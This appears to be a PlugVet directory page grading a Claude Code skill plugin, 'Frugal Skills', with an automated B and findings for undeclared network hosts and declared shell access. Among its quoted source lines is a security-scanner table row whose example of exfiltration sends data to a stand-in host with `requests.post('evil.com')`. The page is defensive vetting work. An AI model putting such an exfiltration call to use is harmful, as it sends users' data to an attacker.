Grades are a hygiene check, not a security guarantee.

Claude Code, Skill

Frugal Skills

Instruction workflows for context budgets, routing and code review.

Compatibility: Not stated.

Grade B

Minor issues only, no Medium or High. Worth a quick look at the findings below before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

NETWORK_NO_FIXED_HOST PERMISSION_SHELL_DECLARED

Why this grade

  • NETWORK_NO_FIXED_HOST Low

    Makes a network call whose host is not written as a fixed address.

    skills/ingest/SKILL.md, line 25 - **scrape** - fetch (browser UA) + stdlib HTML→text (drops script/style, keeps

  • PERMISSION_SHELL_DECLARED Note

    Runs shell commands, and the manifest or description says so.

    scripts/package_plugin.py, line 204 result = subprocess.run(

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Note

    requests shell access. The manifest names this permission.

    PERMISSION_SHELL_DECLARED

    scripts/package_plugin.py, line 204

    result = subprocess.run(

    skills/fast-context/SKILL.md, line 111

    `subprocess.run("grep -rl ...")` plutôt qu'un glob Python (mesurer les performances sur le dépôt concerné).

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Concern

    can reach a host that is not written as a fixed address.

    NETWORK_NO_FIXED_HOST

    skills/ingest/SKILL.md, line 25

    - **scrape** - fetch (browser UA) + stdlib HTML→text (drops script/style, keeps

    skills/security-scanner/SKILL.md, line 36

    | `network_exfil` | ✅ | ✅ | `requests.post("evil.com")` |

  • Secrets

    Pass

    No read of a credential file or secret environment variable found.

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Pass

    No encoded or minified payload found.

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

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Note

Hygiene check of commit 4fac303bc3ac. requests shell access. The manifest names this permission. can reach a host that is not written as a fixed address.

Date and source

Date checked:

View source

github.com

Commit graded: 4fac303bc3aca4f35cc83b12eae76fbe98d457f0

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen